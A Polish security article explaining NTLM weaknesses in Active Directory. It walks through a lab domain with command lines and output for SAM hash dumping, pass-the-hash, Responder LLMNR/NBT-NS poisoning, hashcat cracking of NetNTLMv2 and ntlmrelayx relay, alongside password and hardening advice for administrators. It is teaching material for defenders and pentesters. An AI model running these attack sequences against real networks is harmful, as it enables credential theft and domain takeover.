Podstawowe problemy bezpieczeństwa NTLM

W świecie nowoczesnych technologii chmurowych, uwierzytelniania wieloskładnikowego i architektury Zero Trust, łatwo zapomnieć o fundamentach, na których wciąż stoi większość firmowych sieci wewnętrznych. Mowa o środowiskach Active Directory i protokołach, które pamiętają czasy Windows NT. Jednym z takich reliktów, który pozostaje jednym z najpopularniejszych wektorów ataku podczas wewnętrznych testów penetracyjnych, jest protokół NTLM (New Technology LAN Manager).

Microsoft oficjalnie zapowiedział podjęcie radykalnych kroków, mających na celu wyeliminowanie wykorzystania protokołu uwierzytelnienia NTLM w środowiskach Active Directory, i Windowsach 2025 i nowszych (pisaliśmy już o tym na sekuraku).

Protokół ten obecny jest w systemach Windows od samego początku jego istnienia, i do tej pory (rok 2026) aktywnie wykorzystywany w sieciach korporacyjnych, jako jeden z głównych sposobów uwierzytelnienia użytkowników i urządzeń w sieciach bazujących na Active Directory. 

Podręczniki dotyczące najlepszych praktyk tworzenia sieci Active Directory, już od 2000 roku sugerują wykorzystywanie alternatywnego sposobu uwierzytelnienia – Kerberos – w którym to zaadresowano i rozwiązano znaczną liczbę problemów bezpieczeństwa, obecnych w NTLM (co nie oznacza, że Kerberos nie posiada swoich własnych błędów!).

Pomimo tego, w swojej karierze przeprowadzając dziesiątki testów penetracyjnych środowisk Active Directory, ciężko było mi znaleźć chociaż jedno, w którym NTLM nie jest obecny i aktywnie wykorzystywany.. 

Przyczyną tego zjawiska może być kluczowy problem, konieczny do zaadresowania przez administratorów – kompatybilność wsteczna urządzeń, lub konieczność przebudowania konfiguracji środowiska sieciowego, w celu wyeliminowania przestarzałego protokołu, na co często organizacje nie mogą sobie pozwolić.

Dla atakującego obecność NTLM w sieci to często prosta droga do eskalacji uprawnień w Active Directory, często pozwalająca na uzyskanie dostępu do krytycznych systemów, lub kont najważniejszych użytkowników w domenie. 

W kontekście nadchodzących zmian, niniejszy artykuł można traktować jako przypomnienie, lub wprowadzenie do bezpieczeństwa Active Directory – zaadresowane zostały w nim podstawy działania protokołu NTLM oraz błędy bezpieczeństwa wynikające z jego wykorzystania w lokalnych sieciach LAN – zarówno z perspektywy pentestera, jak i osoby odpowiedzialnej za zabezpieczenie Active Directory.

Co to jest, i do czego służy NTLM?

NTLM (NT LAN Manager) to rodzina protokołów uwierzytelniania oparta o mechanizm challenge-response, zaprojektowana historycznie dla sieci Windows, zanim Kerberos stał się standardem domenowym. Kiedy pojawił się Active Directory, Kerberos stał się domyślnym sposobem uwierzytelnienia w domenie, ale NTLM pozostał jako „koło zapasowe” dla zachowania kompatybilności ze starszymi systemami, czy jako fallback dla Kerberosa. Z perspektywy bezpieczeństwa kluczowe jest to, że NTLM jest wbudowanym elementem systemu i nadal bywa aktywowany automatycznie (co – zgodnie z zapowiedziami Microsoft – ma zmienić się w nowszych wersjach systemu Windows).

W języku pentesterów często mówi się: „złapałem hash NTLM”. W większości przypadków to skrót myślowy, bo przechwytywany jest NetNTLMv2 / NetNTLMv1 (challenge-response), a nie hash NT przechowywany w bazie kont. Różnica ta ma ogromne znaczenie.

Hash NT vs NetNTLM

Hash NT to po prostu wynik operacji kryptograficznych, bazujących na funkcji skrótu MD4, dla hasła użytkownika. Jest on przechowywany w bazie SAM (Security Account Manager, szyfrowany plik rejestru systemu, przechowujący hasha haseł, lokalne konta użytkowników oraz grupy na lokalnych maszynach) lub w pliku ntds.dit na kontrolerze domeny. Po zdobyciu hasza NT, można wykorzystać go do logowania się do usług w lokalnej sieci, w sposób tożsamy z wykorzystaniem hasła użytkownika. Ta technika w której wykorzystujemy hash NT zamiast jawnej postaci hasła, nazywa się Pass-the-Hash (PtH), i stanowi jedną z podstawowych technik, która powinna być znana każdemu pentesterow zajmującemu się testami Active Directory.

Poniżej widoczny jest przykładowy zrzut lokalnej bazy poświadczeń wykonany, z wykorzystaniem pythonowego skryptu z kolekcji Impacket (aby móc odzyskać jej zawartość, konieczne są poświadczenia lokalnego administratora na docelowym hoście):

┌──(kali㉿admin-desktop)-[~]
└─$ secretsdump.py seqrak@192.168.56.10

Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[...]
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[...]

Listing 1. Zrzut lokalnej bazy poświadczeń z wykorzystaniem skryptu impacket-secretsdump.

Wykorzystując hasz NT użytkownika Administrator, można następnie podjąć próby zalogowania się nim do innych urządzeń w sieci. Jest to błąd konfiguracyjny, który występuje wtedy, gdy to samo hasło zostało utworzone dla użytkownika lokalnego na wielu urządzeniach – i w prawdziwych środowiskach Active Directory jest problemem krytycznym, często prowadzącym do przejęcia znacznej liczby urządzeń, lub nawet całej domeny!

Poniżej widoczna jest próba zalogowania się jako użytkownik Administrator do SMB urządzeń w lokalnej sieci Active Directory. Należy zwrócić uwagę na wykorzystanie skrótu LM zamiast hasła: 

┌──(kali㉿admin-desktop
└─$ nxc smb 192.168.56.0/24 -u Administrator -H dbd13e1c4e338284ac4e9874f7de6ef4 --local-auth

SMB         192.168.56.11   445    CORPEXSHARE     [+] corpex.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)
SMB         192.168.56.22   445    CORPEXBASTION      [+] corpex.local\Administrator:dbd13e1c4e338284ac4e9874f7de6ef4 (Pwn3d!)
[...]

Listing 2. Pass-the-hash, czyli próba zalogowania do kolejnych urządzeń w sieci, z użyciem skrótu NT zamiast hasła użytkownika.
Jak widać na powyższym listingu, to samo hasło lokalnego użytkownika Administrator, było obecne na dwóch różnych komputerach w sieci – co pozwoliło na prostą eskalację uprawnień i poszerzenie obecności w domenie. Dopisek “Pwn3d!” (zaznaczony żółtym kolorem), na wyjściu nxc, oznacza, że konto posiada na docelowym hoście uprawnienia administracyjne.
Lekcja dla administratorów nr 1

Przeprowadzając testy penetracyjne Active Directory, wielokrotnie spotykałem się z sytuacją, w której administratorzy popełniali jeden z kilku błędów, które mogą sprawiać wrażenie mało istotnych, a które w praktyce pozwalały na przejęcie dostępu do istotnych serwerów w sieci – czasami, nawet do przejęcia kilku domen Active Directory. 

1. Błąd 1 – Utworzenie lokalnego konta administracyjnego na komputerach w domenie z takim samym hasłem

Wyobraźmy sobie scenariusz, w którym administrator dostaje prośbę od nietechnicznego pracownika, o rozwiązanie problemu z komputerem (np. brak sterowników drukarki).

Aby wykonać zdalny debugging, łatwym rozwiązaniem może być utworzenie lokalnego konta administratora (Przykładowa nazwa – CorpexAdmin), o identycznym haśle na wszystkich komputerach – które znane jest tylko administratorowi. Wtedy ten może zalogować się do każdego komputera, i zdalnie rozwiązywać problemy. Prawdziwy kłopot pojawia się wtedy, gdy atakujący zdobędzie dostęp administracyjny do dowolnego komputera w domenie. Dumpując bazę SAM, może on pobrać hashe NT haseł wszystkich lokalnych użytkowników (w tym: CorpexAdmin) – i z ich użyciem zalogować się do każdego komputera w sieci, na których to konto jest obecne.

Warto też zaznaczyć, że hasło tego konta może spełniać najbardziej restrykcyjne sugestie dotyczące złożoności haseł, i być w praktyce niełamalne – z perspektywy atakującego nie ma to większego znaczenia, jako że nie próbuje on odzyskać postaci jawnej hasła, a loguje się do urządzeń w sieci przechwyconym hashem NT, z użyciem opisanej wcześniej techniki Pass-the-Hash.

2. Błąd 2 – Ustawienie identycznego hasła administratora domeny, w kilku różnych domenach

W przypadku bardziej rozbudowanej organizacji, w jednej sieci może być obecnych kilka domen, w zależności od założeń biznesowych i technicznych. Na przykład – CORPEX.local, CORPFINANCES.local. 

Gdy na serwerze Windows Server instalowane są usługi Active Directory, i tworzona jest nowa domena, to rolę pierwszego administratora domeny (czyli najistotniejszego konta w organizacji, przejęcie którego tożsame jest z dostępem do każdego konta i każdego komputera w ramach domeny), przejmuje konto lokalnego użytkownika “Administrator”.

W przypadku, gdy tworzeniem obu domen zajmuje się jedna osoba, to istnieje ryzyko, że hasło lokalnego użytkownika Administrator (które później staje się administratorem domeny) – zostało ustawione takie samo.

W czasie pentestów wielokrotnie spotkałem się z sytuacją, w której możliwe było uzyskanie dostępu do bazy NTDS.dis, czyli głównej bazy danych na kontrolerze jednej z domen obecnych w sieci. W tej bazie przechowywane są m.in hashe NT wszystkich użytkowników i kont komputerów domeny – w tym, hash NT konta administratora domeny. 

Jako jedną z czynności weryfikowanych w czasie testów zawsze jest sprawdzenie, czy hashem NT istotnego użytkownika w domenie A, nie da się zalogować do tego samego konta w obrębie domeny B. 

Okazuje się, że ta technika bywa bardzo skuteczna w sytuacji w której administrator zarządzający siecią nie ma świadomości dotyczącej tego, jak istotnym jest nie wykorzystywanie tych samych/podobnych poświadczeń do różnych kont.

—————————————

Teraz przejdźmy do omówienia, czym jest NetNTLMv2 (podobnie działa również starsza wersja, NetNTLMv1).

Wyobraźmy sobie scenariusz, w którym użytkownik chce uwierzytelnić się do serwera (np. udziału plikowego SMB), przy użyciu NTLM. Proces ten będzie wyglądał następująco:

1. Inicjalizacja połączenia – Klient informuje serwer, że chce się uwierzytelnić.
2. Challenge – Serwer odsyła losowy ciąg znaków (np. 16-bajtowy “nonce”).
3. Odpowiedź – Klient wylicza odpowiedź kryptograficzną na challenge, używając skrótu hasła (NT hash) jako sekretu/klucza (który ma w pamięci po zalogowaniu użytkownika). Wynik tego szyfrowania jest odsyłany do serwera.

Ten wynik (odpowiedź challenge-response, zwykle NetNTLMv2) jest odsyłany do serwera i może zostać zweryfikowany przez serwer lub kontroler domeny. Serwer (lub kontroler domeny w jego imieniu) wykonuje tę samą operację. Jeśli wyniki się zgadzają, użytkownik jest uwierzytelniony.

Głównym problemem z perspektywy bezpieczeństwa jest to, że protokół ten, w swojej podstawowej formie, nie weryfikuje wzajemnie tożsamości serwera. Klient ufa, że serwer wysyłający challenge jest tym, za kogo się podaje.

Poniższy schemat ilustruje ten proces w uproszczeniu:

NetNTLM występuje w dwóch wariantach: NetNTLMv1 (starszy) i NetNTLMv2 (nowszy, dziś domyślny w większości środowisk). 

W obu przypadkach mechanizm opiera się o challenge-response: serwer wysyła losowy challenge, a klient wylicza odpowiedź przy użyciu sekretu wynikającego z hasła użytkownika. Różnica jest w tym, jak ta odpowiedź jest konstruowana. Wersja pierwsza korzysta ze starszych metod kryptograficznych (m.in. DES) i jest znacznie słabsza, w kontekście prędkości łamania haseł (o czym więcej w dalszej części artykułu). Druga wersja wykorzystuje mocniejszy algorytm oparty o HMAC-MD5. 

To nadal nie rozwiązuje podstawowych problemów bezpieczeństwa opisanych w tym artykule. Mimo tego, NetNTLMv2 jest wyraźnie bezpieczniejszy niż NetNTLMv1 – i NetNTLMv1 powinien być traktowany jako mechanizm legacy.

Podstawowe problemy bezpieczeństwa NTLM

Warto na tym etapie zadać sobie pytanie: co jeżeli atakujący znajdujący się w lokalnej sieci LAN będzie w stanie podszyć się pod serwer do którego następuje uwierzytelnienie, i przechwycić NetNTLM przesłany przez użytkownika?

Uważny czytelnik, przyglądając się rysunkowi 1, będzie w stanie łatwo zlokalizować pierwszy bardzo istotny problem protokołu NTLM. Z wprowadzenia teoretycznego dowiedzieliśmy się, że NetNTLM jest odpowiedzią typu challenge-response wyliczaną na bazie tajemnicy pochodnej od hasła użytkownika (hasha) oraz wyzwania nonce generowanego przez stronę serwerową. Strona pośrednicząca, która widzi handshake, zna również wartość nonce. Nic więc nie stoi na przeszkodzie, aby przeprowadzić atak brute-force (offline) i próbować odgadnąć prawidłową wartość hasła użytkownika. Jeżeli użytkownik nie zadbał o to, aby jego hasło zachowało odpowiednią długość i złożoność, to z bardzo dużym prawdopodobieństwem, jego odzyskanie będzie możliwe.

Ale jak można podszyć się pod serwer z perspektywy atakującego, i przechwycić poświadczenia użytkowników? 

Odpowiedź na to pytanie jest stosunkowo prosta, i znajduje się ona w innych protokołach wykorzystywanych w lokalnych sieciach Active Directory – protokołach LLMNR i NBT-NS.

Jak można podszyć się pod serwer z perspektywy atakującego, i przechwycić poświadczenia użytkowników?

LLMNR i NBT-NS zostały zaprojektowane jako mechanizmy rozwiązywania nazw w sieci lokalnej wtedy, gdy klasyczny DNS nie jest dostępny albo nie zwraca odpowiedzi. Gdy host nie potrafi rozwiązać nazwy z użyciem domyślnych mechanizmów (DNS / cache), próbuje odpytać otoczenie w LAN.

​​W praktyce wygląda to następująco – host inicjuje zapytanie LLMNR/NBT-NS dotyczące nazwy, której nie potrafi rozwiązać przez preferowane mechanizmy (np. użytkownik otwiera w swoim explorerze zasób z literówką – “\\FATKURY2026” – DNS nie zna rozwiązania tej nazwy):

Zapytanie trafia więc multicastem (w przypadku LLMNR) lub broadcastem (w przypadku NBT-NS) w obrębie lokalnej sieci. Każdy host w tym samym segmencie może odpowiedzieć, „podając” adres IP, pod który należy podstawić wskazaną nazwę.

LLMNR i NBT-NS same w sobie nie przenoszą poświadczeń – służą wyłącznie do mapowania nazwy na IP. Mogą doprowadzić do sytuacji, w której host nawiązuje połączenie z endpointem, który nie jest docelowym serwerem usługi – a następnie uruchamia automatyczne uwierzytelnienie NTLM na warstwie aplikacyjnej (SMB/HTTP/LDAP/WebDav i inne).

Atakujący, będąc w tej samej sieci lokalnej, może celowo odpowiadać na zapytania LLMNR/NBT-NS, wskazując swój adres IP jako rozwiązanie nazwy. Następnie wystawia usługę, która sprowokuje klienta do uwierzytelnienia NTLM (komputer użytkownika spodziewa się, że uwierzytelnienie następuje do prawdziwego zasobu “FATKURY2026”),  i w efekcie przechwytuje challenge-response (NetNTLM) dla konta użytkownika

Cały ten proces można łatwo zautomatyzować z wykorzystaniem narzędzia Responder – i powinno ono znajdować się w pudełku każdego pentestera.

Responder to serwer uruchamiany na urządzeniu, który znajduje się fizycznie w sieci LAN, i pozwala na automatyczne przechwytywanie i zatruwanie komunikacji (między innymi) LLMNR, NBT-NS, mDNS w lokalnym lanie.

Poniżej widoczne jest uruchomienie Respondera – w podstawowym zastosowaniu, aby rozpocząć przechwytywanie i zatruwanie ruchu, wystarczy uruchomić go wskazując interfejs sieciowy, na którym ma on nasłuchiwać:

┌──(kali㉿admin-desktop)-[~]
└─$ sudo responder -I eth2
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
[...]

Listing 3. Uruchomienie Respondera, którego celem jest przechwytywanie i zatruwanie komunikacji w lokalnej sieci LAN.

Na listingu 4 widoczny jest fakt zatrucia LLMNR i przechwycenia skrótu NetNTLMv2 użytkownika, który wyszukał w File Explorer nieistniejący zasób (co pokazane zostało na rysunku 2):

[…]

[+] Listening for events…

[*] [LLMNR]  Poisoned answer sent to 192.168.56.23 for name fatkury2026

[*] [LLMNR]  Poisoned answer sent to 192.168.56.23 for name fatkury2026

[*] [LLMNR]  Poisoned answer sent to 192.168.56.23 for name fatkury2026

[WebDAV] NTLMv2 Client   : 192.168.56.23

[WebDAV] NTLMv2 Username : corpex.local\ksiegowosc

[WebDAV] NTLMv2 Hash     : ksiegowosc::CORPEX.LOCAL:e5339f1d1a16f82c:CE36C35C22343D8E0C3FFC0D1D3218F0:0101[…]

[…]

Listing 4. Zatrucie komunikacji LLMR, i przechwycenie NetNTLMv2 użytkownika.
Powyżej na listingu 4, widoczny jest fakt przechwycenia pojedynczego challenge NetNTLMv2. W praktyce, w rozbudowanych sieciach Active Directory, bardzo często spotkać się ze zjawiskiem, w którym niedługo po uruchomieniu respondera (kilka – kilkanaście godzin), zatrute zostają setki – tysiące rozwiązań nazw, co prowadzi do przejęcia znacznej liczby haszy użytkowników.

W praktyce, po rozpoczęciu pentestu sieci LAN/Active Directory, uruchomienie Respondera w bardzo prosty sposób pozwala na zdobycie przyczółku w sieci, i późniejszą eskalację uprawnień w ramach domeny – bez wykorzystywania wyrafinowanych technik eksploitacji.

Sam fakt przechwycenia challenge NetNTLM nie pozwala jeszcze na automatyczne przejęcie kolejnych urządzeń w sieci, i nie jest tożsame z przejęciem konta użytkownika. Warto też zaznaczyć, że przechwyconego challenge NetNTLM nie można wykorzystać bezpośrednio do techniki Pass-the-Hash, jak z użyciem hasha NT. 

Aby doprowadzić do tego, najłatwiej wykonać jedną z dwóch technik: odzyskać postać jawną hasła użytkownika z challenge NetNTLM, lub przeprowadzić atak typu Relay.

Próba odzyskania postaci jawnej hasła

Jak wiadomo z pierwszej części niniejszego artykułu (sekcja: Hash NT vs NetNTLM), challenge NetNTLM zawiera nonce zaszyfrowany z wykorzystaniem skrótu NT użytkownika (czyli hasła użytkownika w postaci niejawnej).

Jeżeli więc serwer (w tym przypadku – Responder) zainicjalizował uwierzytelnienie NTLM z użytkownikiem, wysłał mu losowy challenge, a następnie otrzymał od klienta odpowiedź kryptograficzną (NetNTLM) wyliczoną na podstawie hasła użytkownika – to posiada on wszystkie wartości konieczne do podjęcia próby złamania tego hasła, np. z użyciem hashcata.

Poniżej widoczny jest przykład wykorzystania hashcata i jednego z prostych słowników, do odzyskania hasła użytkownika. Flaga -m 5600 oznacza, że łamanym skrótem jest NetNTLMv2:

┌──(kali㉿admin-desktop)-[~]
└─$ sudo hashcat -w 4 -O -m 5600 <plik z haszem> /usr/share/wordlists/rockyou.txt 
[...]
Session..........: hashcat
Status...........: Running
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: ksiegowosc::CORPEX.LOCAL:9d12a0069ba98eaa:f849d10e54a5a086...000000
Time.Started.....: Fri Feb  6 12:57:10 2026 (2 secs)
Time.Estimated...: Fri Feb  6 12:57:39 2026 (27 secs)
Kernel.Feature...: Optimized Kernel (password length 0-27 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   473.0 kH/s (2.07ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 1216582/14344385 (8.48%)
Rejected.........: 70/1216582 (0.01%)
Restore.Point....: 1216582/14344385 (8.48%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: timalicio -> tigger114
Hardware.Mon.#01.: Util:100%

ksiegowosc::CORPEX.LOCAL:9d12a0069ba98eaa:f849d10e54a5a086...000000:corplove
[...]

Listing 5. Zatrucie komunikacji LLMR i mDNS, i przechwycenie NetNTLMv2 użytkownika.

Jak widać na powyższym listingu 5, w krótkim czasie udało się odzyskać hasło użytkownika. Należy zaznaczyć, że analogiczne zjawisko spotykane jest w praktycznie każdym środowisku Active Directory – na palcach jednej ręki policzyć można organizacje, w których użytkownicy znają i stosują się do polityki tworzenia bezpiecznych haseł.

Lekcja dla administratorów nr 2

W świecie Active Directory, istnieje wiele nieprawidłowości mogących prowadzić do wycieku skrótów haseł użytkowników domeny, a powyższy jest tylko jednym z prostych przykładów.

Dlatego tak krytyczne jest stałe edukowanie pracowników oraz konsekwentne egzekwowanie dobrej polityki haseł.

Wielokrotnie w czasie wykonywania testów penetracyjnych spotykałem się z sytuacją, w której możliwe było odzyskanie jawnej postaci hasła, nawet najbardziej istotnych kont w organizacji – w tym administratora domeny – dzięki braku zastosowania dobrych praktyk dotyczących tworzenia bezpiecznych haseł.

Kluczowe obserwacje dotyczące typowej budowy haseł – takich, które da się odzyskać w przeciągu ~kilku godzin, i odpowiedniego urządzenia, dedykowanego do łamania haseł:

1. Hasła składające się z jednego słowa i 2-5 cyfr:

Korporacja12

91Patrycja

antonI17

SamochodziK2026

2. Hasła składające się z jednego słowa, cyfr i znaku specjalnego (szczególnie: !@#$ oraz ,./ [są to znaki znajdujące się najbliżej dłoni na klawiaturze]):

Korporacja!!

91patrycja.

ANTONI,.

samochodzik@4

3. Hasła bazujące na geometrii klawiatury – które pozornie wykazują znaczną losowość – każdy sensowny słownik służący do łamania haseł, zawiera znaczną liczbę podobnych kombinacji:

zaq12wsxcde3

!@#$%^&*()123456789

z/a\q]w[s’x.

q]w[eprotiyu

a\s’d;flgkhj

4. L33t speak, rozróżnianie rozmiaru/ kolejności liter – reguły mieszające hasła, bardzo dobrze radzą sobie z wprowadzaniem w locie zmian w testowanych kombinacjach haseł (zmiana rozmiaru poszczególnych liter w słowie, podmiana litery na odpowiadającą jej cyfrę itd) – i często nie stanowią one istotnego problemu dla hashcata i podobnych:

k0rp0r@cj@

p@trycj@11

antoin1!

SaMoChOdZiK

5. Hasła o niskiej złożoności (np. składające się z dwóch słów składających się na popularne frazy, połączenia tego samego słowa wielokrotnie, lub użycia słów nawiązujących do firmy/ jej polityk/ treści strony internetowej firmy):

corpexcorpexcorpexcorpex

zielonaenergiacorpex

lubiekwiatki

niepatrz!

Moje obserwacje wskazują, że często nawet ~40% haseł do kont użytkowników w organizacjach, tworzonych jest zgodnie z powyższym schematem.

Kilka rekomendacji, krytycznych dla zwiększenia bezpieczeństwa haseł w organizacji:

1. Hasła powinny być odporne na ataki typu brute-force. Za takie można traktować aktualnie (stan na 2026 rok) hasła dłuższe niż 20 znaków, i składające się z kilku (4 lub więcej) słów. 
2. Konta o szczególnej roli w organizacji (jak np. konto administratora domeny), powinny posiadać dłuższe hasła (np. 50+ znaków).
3. Włączmy LAPS (Windows Local Administrator Password Solution, czyli narzędzie do automatycznego zarządzania hasłami kont lokalnych administratorów) dla istotnych kont.
4. Tam, gdzie to możliwe (np. usługi chmurowe Entra/ logowanie do VPN), wymuszajmy wykorzystanie dwuskładnikowego uwierzytelnienia – najlepiej z użyciem tokena sprzętowego.
5. Edukujmy pracowników jak wykorzystywać manager haseł, i po wdrożeniu, egzekwujmy jego aktywne używanie w organizacji.
6. Pamiętajmy o edukacji pracowników – jedną z najlepszych metod, jest regularne przeprowadzanie szkoleń zwiększających świadomość cyberzagrożeń (https://bezpieczny.securitum.pl/) oraz testowanie odporności pracowników na phishing i podobne ataki.

O hasłach, ich łamaniu i poprawnych politykach, pisaliśmy wielokrotnie na sekuraku:

• https://sekurak.pl/rozwiazanie-konkursu-zlam-sekurakowe-haslo-i-wygraj-1000-zl-zobaczcie-write-up-zwyciezcy/
• https://sekurak.pl/zlam-sekurakowe-haslo-i-wygraj-1000-zl-mocno-uproszczona-wersja-konkursu/
• https://sekurak.pl/zlam-sekurakowe-haslo-i-wygraj-5000-zl/

Załóżmy jednak, że nie udało się odzyskać postaci jawnej hasła użytkownika domeny (czyli złamać go), z przechwyconego challenge NetNTLMv2. Poprawnie zaimplementowana polityka haseł w organizacji nie oznacza, że wykorzystanie NTLM jest bezpieczne. Istnieje drugi, typowy atak wykorzystujący przechwycony challenge – atak typu Relay.

NTLM relay

A co jeżeli atakujący, zamiast tylko przechwycić challenge NetNTLMv2, pośredniczyłby w uwierzytelnieniu do innych usług w lokalnej sieci, w imieniu użytkownika? 

Ta technika nazywa się NTLM relay, i łatwiej będzie ją zrozumieć na podstawie poniższego rysunku:

W przypadku techniki NTLM relay, po podszyciu się pod poszukiwany serwer (tutaj: hostujący zasób “FATKURY2026), atakujący stanowi pośrednika w komunikacji pomiędzy komputerem użytkownika, a innym serwerem docelowym w lokalnej sieci.

Jeżeli użytkownik którego poświadczenia zostały przechwycone, posiada uprawnienia do zasobu na serwerze docelowym, to atakujący będzie miał możliwość zalogować się do niego w imieniu użytkownika. To może pozwolić do uzyskania dostępu do samego systemu, a nawet, w przypadku uprawnień administracyjnych – do zdumpowania bazy lokalnych poświadczeń na serwerze lub wykonania dowolnego polecenia na systemie.

Aby przeprowadzić atak NTLM Relay, konieczna jest modyfikacja konfiguracji Respondera oraz wykorzystanie drugiego narzędzia, którego rolą będzie przekazywanie poświadczeń przechwyconych przez Respondera, i próby zalogowania się z ich użyciem do innych hostów w sieci.

Poniżej praktyczny przykład:

1. W pliku konfiguracyjnym Respondera (domyślnie w dystrybucji Kali: /usr/share/responder/Responder.conf), wyłączam obsługę serwera SMB i HTTP – ich rolę przejmie inne narzędzie:

┌──(kali㉿admin-desktop)-[~]
[Responder Core]
; Poisoners to start
MDNS  = On
LLMNR = On
NBTNS = On

; Servers to start
SQL = On
SMB = Off     # wyłączona obsługa SMB
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off    # wyłączona obsługa HTTP
HTTPS = On
DNS = On
LDAP = On
[...]

Listing 6. Zmodyfikowana konfiguracja Respondera, z wyłączoną obsługą serwera HTTP i SMB.

2. Uruchamiam Respondera. Można zwrócić uwagę na to, że serwery HTTP i SMB są rzeczywiście wyłączone:

──(kali㉿admin-desktop)-[/]

└─$ sudo responder -I eth1

                                         __

  .—-.—–.—–.—–.—–.—–.–|  |.—–.—-.

  |   _|  -__|__ –|  _  |  _  |     |  _  ||  -__|   _|

  |__| |_____|_____|   __|_____|__|__|_____||_____|__|

                   |__|

[+] Poisoners:

    LLMNR                      [ON]

    NBT-NS                     [ON]

    MDNS                       [ON]

    DNS                        [ON]

    DHCP                       [OFF]

[+] Servers:

    HTTP server                [OFF]

    HTTPS server               [ON]

    WPAD proxy                 [OFF]

    Auth proxy                 [OFF]

    SMB server                 [OFF]

[…]

Listing 7. Uruchomienie Respondera z wyłączonym serwerem HTTP i SMB.

3. Skanuję lokalną sieć, szukając innych urządzeń w domenie, do których będziemy logowali się z użyciem przejętych poświadczeń (i które nie są zabezpieczone przed tym atakiem – o tym w dalszej części artykułu):

┌──(kali㉿admin-desktop)-[~]
└─$ nxc smb --gen-relay-list lista.txt 192.168.56.0/24
SMB         192.168.56.23   445     CERTSRV         [*] Windows 10 / Server 2016 Build 14393 x64 (name:CERTSRV) (domain:corpex.local) (signing:False) (SMBv1:True)
SMB         192.168.56.22   445    TSTSRV      [*] Windows 10 / Server 2019 Build 17763 x64 (name:TSTSRV) (domain:corpex.local) (signing:False) (SMBv1:False)
[...]

Listing 8. Skan lokalnej sieci w poszukiwaniu urządzeń w domenie, niezabezpieczonych przed atakiem NTLM Relay.

W sieci znajdują się dwa systemy, które nie są zabezpieczone przed atakiem NTLM Relay.

Ich lista znajduje się w pliku “lista.txt”, widocznym w poleceniu wykonanym w listingu 8.

4. W drugim oknie terminala, obok respondera, uruchamiam skrypt impacket-ntlmrelayx, którego rolą będzie wymuszenie uwierzytelnienia użytkownika, i przekazywanie przechwyconych poświadczeń, i próba zalogowania z ich użyciem do zasobów zidentyfikowanych w punkcie 3. 

┌──(kali㉿admin-desktop)-[~]
└─$ ntlmrelayx.py -tf lista.txt -smb2support
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client MSSQL loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client IMAPS loaded..
[...]

Listing 9. uruchomienie impacket-ntlmrelayx, którego rolą jest uwierzytelnienie użytkownika, i przekazywanie NetNTLM, do innych urządzeń w sieci.

5. W zależności od aktywności w sieci (na którą może wpływać np. pora wykonywania testu), po pewnym czasie responder przechwycił próbę uwierzytelnienia użytkownika, a skrypt ntlmrelayx zajął się przekierowaniem tej komunikacji do docelowych hostów. W domyślnym ustawieniu, skrypt ten próbuje zrzucić lokalną bazę haseł użytkowników z systemu docelowego, jeżeli użytkownik, którego przechwycono poświadczenia ma na nim uprawnienia administracyjne:

[...]
[*] (HTTP): Client requested path: /
[*] (HTTP): Client requested path: /
[*] smb://CORPEX/ADMIN@192.168.56.23 [1] -> Service RemoteRegistry is in stopped state
[*] smb://CORPEX/ADMIN@192.168.56.23 [1] -> Starting service RemoteRegistry
[*] (HTTP): Client requested path: /211odn8cgh
[*] (HTTP): Authenticating connection from CORPEX/ADMIN@192.168.56.12 against smb://192.168.56.22 SUCCEED [2]
[*] All targets processed!
[*] (HTTP): Connection from CORPEX/ADMIN@192.168.56.12 controlled, but there are no more targets left!
[-] smb://CORPEX/ADMIN@192.168.56.22 [2] -> DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] smb://CORPEX/ADMIN@192.168.56.23 [1] -> Target system bootKey: 0x9d[...]875c
[*] smb://CORPEX/ADMIN@192.168.56.23 [1] -> Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2f48[...]f160:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6[...]89c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6[...]89c0:::
configurator:1003:aad3b435b51404eeaad3b435b51404ee:dc26[...]6bbe1:::
[*] smb://CORPEX/ADMIN@192.168.56.23 [1] -> Done dumping SAM hashes for host: 192.168.56.23
[...]

Listing 10. Skrypt ntlmrelayx wykonał proces uwierzytelnienia NTLM, z użyciem przechwyconych poświadczeń użytkownika “ADMIN@CORPEX.LOCAL”, do kolejnych hostów w sieci. Na jednym z nich użytkownik miał uprawnienia administracyjne, co pozwoliło na zrzut bazy SAM.

Lekcja dla administratorów nr 3

Microsoft jest świadomym problemów związanych z atakami typu relay od wielu lat.

